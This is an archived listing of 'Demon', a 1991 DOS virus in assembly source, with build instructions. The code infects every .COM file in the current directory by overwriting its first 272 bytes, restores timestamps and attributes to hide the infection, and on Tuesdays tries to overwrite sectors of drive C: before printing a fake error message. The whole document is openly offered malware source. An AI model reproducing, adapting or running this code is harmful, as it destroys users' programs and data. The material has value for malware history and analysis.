home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DEMON.ASM < prev    next >
Assembly Source File  |  1994-10-27  |  6KB  |  126 lines

  1. ;========== Demon virus ==================================== 22.09.91 ========
  2. ;
  3. ; Assemble and link with:  TASM  DEMON.VIR
  4. ;                          TLINK DEMON /X/T
  5. ; Infect all .COM programs in current directory with: DEMON
  6. ;
  7. ;                       !!! NOT ON A TUESDAY !!!
  8. ;
  9. ;-------------- Constants and structures
  10.  
  11. Tuesday         =       2                       ; INT 21h, AH=2Ah
  12.  
  13. Search_Rec      struc                           ; directory search record
  14.                 db      21 dup (?)              ;   reserved for DOS
  15.   FileAttr      db      ?                       ;   file attribute
  16.   FileTime      dw      ?                       ;   packed file time
  17.   FileDate      dw      ?                       ;   packed file date
  18.   FileSize      dd      ?                       ;   long file size
  19.   FileName      db      13 dup (?)              ;   ASCIIZ FILENAME.EXT
  20. Search_Rec      ends
  21.  
  22. ;-------------- Demon virus segment
  23.  
  24. Virus           segment
  25.                 assume  cs:Virus,ds:Virus,es:Virus,ss:Virus
  26.  
  27.                 org     0080h
  28. DTA             Search_Rec <>                   ; disk transfer area
  29.  
  30.                 org     0100h
  31. Demon:                                          ; virus entry point
  32. Virus_Size      =       Virus_End - Demon       ; virus size = 272 bytes
  33.  
  34.                 mov     dx,offset All_COM       ; find first .COM file,
  35.                 mov     ah,4eh                  ;   including hidden/system
  36.                 mov     cx,110bh
  37.                 int     21h
  38.                 nop
  39.                 jnc     Infect                  ; abort if no files found
  40.                 jmp     short Check_Day
  41. Infect:         call    Replicate               ; overwrite first 272 bytes
  42.                 mov     dx,offset DTA
  43.                 mov     ah,4fh                  ; find next .COM file,
  44.                 int     21h                     ;   go check day if none found
  45.                 nop                             ;   else repeat
  46.                 jnc     Next_File
  47.                 jmp     short Check_Day
  48. Next_File:      jmp     Infect
  49. Check_Day:      mov     ah,2ah                  ; get DOS date, check day
  50.                 int     21h
  51.                 cmp     al,Tuesday              ; Tuesday ?
  52.                 je      Thrash_Drive            ; if yes, thrash drive C:
  53.                 mov     ah,4ch                  ;   else exit to DOS
  54.                 int     21h
  55.  
  56. Thrash_Drive:   mov     Counter,0               ; overwrite first 160 sectors
  57.                 jmp     Write_Sectors           ;   of drive C: with garbage
  58. Write_Sectors:  mov     al,Drive_C              ; Error: doesn't work !
  59.                 mov     cx,160                  ; AL=C:, CX=160 sectors
  60.                 mov     dx,0                    ; DX=highest sector in drive !
  61.                 mov     bx,0                    ; DS:BX=start of PSP area
  62.                 int     26h                     ; overwrite sectors
  63.                 inc     Counter
  64.                 cmp     Counter,10              ; repeat 10 times
  65.                 je      Show_Msg
  66.                 jne     Write_Sectors
  67. Show_Msg:       mov     ah,09h                  ; show a fake error message
  68.                 mov     dx,offset Virus_Msg     ;   and exit to DOS
  69.                 int     21h
  70.                 mov     ah,4ch
  71.                 int     21h
  72.  
  73. Replicate:      mov     dx,offset DTA.FileName  ; save file attribute
  74.                 mov     ax,4300h
  75.                 int     21h
  76.                 mov     COM_Attr,cx
  77.                 nop
  78.                 xor     cx,cx                   ; unprotect the .COM file
  79.                 mov     ax,4301h                ;   in case it's read-only
  80.                 int     21h
  81.                 nop
  82.                 mov     ax,3d02h                ; open .COM file for R/W,
  83.                 int     21h                     ;   abort on error
  84.                 nop
  85.                 jc      Check_Day
  86.                 mov     bx,ax                   ; BX = file handle
  87.                 mov     ax,5700h
  88.                 int     21h                     ; save file date and time
  89.                 nop
  90.                 mov     COM_Time,cx
  91.                 mov     COM_Date,dx
  92.                 mov     dx,offset Demon         ; overwrite first 272 bytes
  93.                 mov     ah,40h                  ;   of .COM program file
  94.                 mov     cx,Virus_Size           ;   with the virus code
  95.                 int     21h
  96.                 nop
  97.                 mov     ax,5701h                ; restore file date and time
  98.                 mov     dx,COM_Date
  99.                 mov     cx,COM_Time
  100.                 int     21h
  101.                 mov     ah,3eh                  ; close the file
  102.                 int     21h
  103.                 nop
  104.                 mov     dx,offset DTA.FileName  ; restore file attribute
  105.                 mov     cx,COM_Attr
  106.                 mov     ax,4301h
  107.                 int     21h
  108.                 retn
  109.  
  110. All_COM         db      '*.COM',0               ; dir search specification
  111. COM_Date        dw      0                       ; packed .COM program date
  112. COM_Time        dw      0                       ; packed .COM program time
  113. COM_Attr        dw      0                       ; .COM program file attribute
  114. Counter         db      0                       ; used when thrashing drive C:
  115. Drive_C         db      2                       ; INT 26h C: drive number
  116.                 dw      0
  117. Copyright       db      'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
  118.                 dw      0
  119. Virus_Msg       db      10,13,'Error eating drive C:',10,13,'$'
  120.  
  121. Virus_End       label   byte                    ; virus code+data end
  122.  
  123. Virus           ends
  124.                 end     Demon
  125.  
  126.